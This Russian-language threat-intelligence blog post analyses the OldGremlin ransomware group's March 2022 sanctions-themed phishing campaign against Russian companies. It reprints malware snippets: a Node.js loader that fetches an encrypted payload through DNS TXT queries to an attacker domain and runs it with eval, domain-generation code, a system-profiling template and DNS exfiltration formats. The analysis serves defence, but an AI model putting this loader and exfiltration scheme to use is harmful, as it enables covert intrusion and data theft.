В 2021 году OldGremlin провели всего одну массовую рассылку, в феврале, однако она оказалась настолько успешной, что кормила "гремлинов" весь год. Несколько месяцев спустя, реагируя на инциденты в российских компаниях, специалисты Лаборатории цифровой криминалистики Group-IB сталкивались с тем, что первоначальной точкой входа являлась как раз эта февральская рассылка. К тому же в прошлом году именно OldGremlin побили рекорд по жадности в России — 250 млн рублей: именно такую сумму выкупа они запросили у одной из жертв.
В конце марта 2022 года OldGremlin снова заявили о себе двумя вредоносными рассылками. Как и во время прошлых атак, "гремлины" бомбардировали письмами российские компании и использовали актуальную новостную повестку. На этот раз они пытались разыграть карту антисанкций от имени российской финансовой компании. Задетектировав вредоносную рассылку с помощью собственной системы класса Managed XDR — Group-IB Threat Hunting Framework (THF) для защиты инфраструктуры от целевых атак, специалисты предупредили об угрозе одну из жертв — компанию по добыче полезных ископаемых. В этом блоге эксперты Group-IB подготовили техническое описание новых атак и инструментов OldGremlin, а также их основных тактик, техник и процедур (TTPs) по матрице MITRE ATT&CK™.
Атака 22 марта
Новая атака OldGremlin была зафиксирована 22 марта 2022 года. Злоумышленники заранее, 2 марта, зарегистрировали домен mirfinance[.]org у namecheap и привязали почту к публичному российскому почтовому сервису "Яндекс", пользующемуся высоким уровнем доверия. Это могло усыпить бдительность аналитиков и помочь обойти некоторые системы защиты, пропустившие письмо, отправленное с легитимного сервиса. С домена mirfinance[.]org и была осуществлена рассылка.
DNS-информация домена mirfinance[.]org. Источник: Group-IB Threat Intelligence
Как мы говорили, тщательно подготовленные фишинговые письма — это визитная карточка OldGremlin. На этот раз письмо было написано от имени старшего бухгалтера российской финансовой организации, которая предупреждала о введении новых санкций и полном отключении платежных систем Visa и Mastercard. "Все карты выпущенные в нашей стране не будут работать вовсе", — говорится в сообщении (орфография и пунктуация сохранены). В качестве альтернативы предлагали оформить новую банковскую карту и присоединить ее к текущему зарплатному проекту.
Фишинговое письмо OldGremlin из рассылки 22 марта.
const a=[0…0x1e4]
const tld=[".com",".org",".net"],
domain=crypto.createHash("md5").update(a.toString()).digest("hex").slice(0,6)+tld[f]
Vl1Ok4WH0QkAA3xSgGwyotPYGd0Q4X4LeLYTqO0mgklgbunlqCBxhnEilFysI2UrJWKsy0Q+BgoB+ox0d+DQMiebnPGyNGy46rBObiTru7WghF8YqT81dBcmG+eC2DAORzNi8qZ/V5soMuKM/sq4NvsHKmAu+odfsRsvjxfqprak+vFgZHAMING6LPge8tHc2HRfIB6Mq1rVR0p+B87bNZEZa4K8mIP
crypto=require("crypto"),
global.dec=(key,ciphertext)=>{
const a=require("crypto").createDecipheriv("rc4",key,null),
k=a.update(ciphertext,"base64"),
b=require("zlib").gunzipSync(k);
return a.final(),b.toString()
}
let C = 0,
P = "",
K = "lin9gtmn",
R = () => {
require("dns").resolveTxt("0x" + C + "." + K + ".eccbc8[.]com", (e, d) => {
if (d) {
if (P += d.join(""), C++, C < 23) return R();
try {
eval(global.dec(K, P))
} catch (a) {}
}
})
};
R()
0x0.lin9gtmn.eccbc8[.]com
0x1.lin9gtmn.eccbc8[.]com
...
0x22.lin9gtmn.eccbc8[.]com
{
"transfer": {
"threads": "global.threads",
"tick": "global.tick",
"domain": "global.dom"
},
"paths": {
"temp": "os.tmpdir()",
"home": "os.homedir()"
},
"proc": {
"load": "os.loadavg()",
"cpus": "os.cpus()"
},
"mem": {
"total": "os.totalmem()",
"free": "os.freemem()"
},
"network": {
"interfaces": "os.networkInterfaces()"
},
"sys": {
"hostName": "os.hostname()",
"type": "os.type()",
"platform": "os.platform()",
"release": "os.release()",
"uptime": "os.uptime()"
},
"user": "os.userInfo()"
}
1x%chank_number%.%key%.%random_string{8}%.%hex_chunk%.eccbc8[.]com
1x2.lin9gtmn.v937nf2g.01e35a4076d1b5a1f285b49c11d2a96230b8ce152e9b3877243b7e5234bb.c31240b961ed4e166d3db5a3717423c9a817fe84c0e80333188733c35c90.4a09fc61e3f7c77554abb59595f3978c39e177828bf2a6bbb718c06a348f.a0a09ae03c0efc4824ab10e2.eccbc8[.]com
if(global.connect)global.connect()
2x.%uid%.%id%%rand_string{2}%.%dga_domain%
2x.058106102444631436.079i4mjd6c.eccbc8[.]com
3x.%uid%.%dga_domain%
3x.058106102444631436.eccbc8[.]com